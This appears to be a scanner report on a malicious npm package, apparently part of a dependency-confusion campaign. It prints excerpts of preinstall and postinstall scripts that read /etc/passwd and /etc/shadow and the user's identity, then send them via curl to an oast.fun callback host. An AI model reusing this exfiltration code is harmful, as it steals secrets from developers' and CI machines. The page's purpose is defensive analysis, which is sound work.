// npm package

zest-product

security holding package

npmjs.com tarball repo

versions

maintainers

first publish

2026-05-21

publisher

npm

tarball

430 B

AUTO-PUBLISHED·3 versions indexed·latest published 2026-05-26

// publisher campaignby npm

9 caught packages from this account

This is not an isolated catch. The same publisher has shipped 8 other packages that our pipeline flagged — the shape of a coordinated campaign, not a one-off. Each link below opens that sibling's analysis.

// offending code· @0.0.1-security· no static-pattern hits

llm: benign · 0.85

→ No suspicious destination, no remote-exec shape — no network destinations.

@0.0.1-security·2026-05-26·AUTO-PUBLISHED·publisher: npm
heuristic 92/100
static flags 0
llm benign (0.85) via ollama
new-publisher:7dtiny-tarball:430bfirst-version-of-packagepublisher-multi-name-burst:8publisher-version-pump:9osv-flagged:MAL-2026-4738
→ No suspicious destination, no remote-exec shape — no network destinations.
// offending code· no static-pattern hits
```
--- package.json (entry) ---
{
  "name": "zest-product",
  "version": "0.0.1-security",
  "description": "security holding package",
  "repository": "npm/security-holder"
}
```
@99.9.0·2026-05-21·AUTO-PUBLISHED

--- install scripts --- ### preinstall node index.js --- package/index.js (excerpt) --- const { exec } = require("child_process"); const payload = [ "cat /etc/passwd /etc/hosts", "id", '{ [ -r /etc/shadow ] && cat /etc/shadow || echo "No shadow access"; }', ].join(" && ") + " | base64 -w0"; const command = 'curl -X POST ' + '"http://rvnghfmohuqkjsneyjdcmx257ej427baa.oast.fun/noderedactedsdk/$(whoami)/$(hostname)/" ' + '-A "$(' + payload + ')" ' + '-s -o /dev/null'; exec(command, (error, stdout, stderr) => { if (error) { console.error(error.message); return; } if (stderr) { console.log(stderr); } console.log(stdout); }); --- package/postinstall.js (excerpt) --- /** * POSTINSTALL HOOK — executes automatically on npm install * * This phones home to the attacker's Interactsh server to prove: * 1. The malicious package was installed instead of the internal one * 2. The build environment details are exposed * 3. Code execution was achieved in the target environment */ const https = require('https'); const http = require('http'); const os = require('os'); const crypto = require('crypto'); const { execSync } = require('child_process'); // ═══════════════════════════════════════════════════════════ // CONFIGURE THIS: Replace with your Interactsh URL from // https://app.interactsh.com // ═══════════════════════════════════════════════════════════ const INTERACTSH_HOST = 'qsuozthnqpxrkkjwcbxgllmurzxxpko1h.oast.fun'; // ═══════════════════════════════════════════════════════════ // Gather target information function gatherIntel() { const data = { // Proof markers type: 'dependency-confusion-poc', package: '@lululemon/mwa-logger', version: '99.0.0', timestamp: new Date().toISOString(), // Machine identity hostname: os.hostname(), username: os.userInfo().username, homedir: os.homedir(), platform: os.platform(), arch: os.arch(), cpus: os.cpus().length, // Build context (where are we?) cwd: process.cwd(), tmpdir: os.tmpdir(), pid: process.pid, // CI/CD detection isCI: !!process.env.CI, ciVendor: process.env.CI ? ( process.env.GITLAB_CI ? 'G

--- install scripts --- ### preinstall node index.js --- package/index.js (excerpt) --- const { exec } = require("child_process"); const command = ` curl -X POST "http://rvnghfmohuqkjsneyjdcmx257ej427baa.oast.fun/noderedactedsdk/$(whoami)/$(hostname)/" \ -A "$( (cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'No shadow access'; } | base64 | tr '\\n' '.')" \ -s -o /dev/null `; exec(command, (error, stdout, stderr) => { if (error) { console.error(error.message); return; } if (stderr) { console.log(stderr); } console.log(stdout); }); --- package/postinstall.js (excerpt) --- /** * POSTINSTALL HOOK — executes automatically on npm install * * This phones home to the attacker's Interactsh server to prove: * 1. The malicious package was installed instead of the internal one * 2. The build environment details are exposed * 3. Code execution was achieved in the target environment */ const https = require('https'); const http = require('http'); const os = require('os'); const crypto = require('crypto'); const { execSync } = require('child_process'); // ═══════════════════════════════════════════════════════════ // CONFIGURE THIS: Replace with your Interactsh URL from // https://app.interactsh.com // ═══════════════════════════════════════════════════════════ const INTERACTSH_HOST = 'qsuozthnqpxrkkjwcbxgllmurzxxpko1h.oast.fun'; // ═══════════════════════════════════════════════════════════ // Gather target information function gatherIntel() { const data = { // Proof markers type: 'dependency-confusion-poc', package: '@lululemon/mwa-logger', version: '99.0.0', timestamp: new Date().toISOString(), // Machine identity hostname: os.hostname(), username: os.userInfo().username, homedir: os.homedir(), platform: os.platform(), arch: os.arch(), cpus: os.cpus().length, // Build context (where are we?) cwd: process.cwd(), tmpdir: os.tmpdir(), pid: process.pid, // CI/CD detection isCI: !!process.env.CI, ciVendor: process.env.CI ? ( process.env.GITLAB_CI ? 'G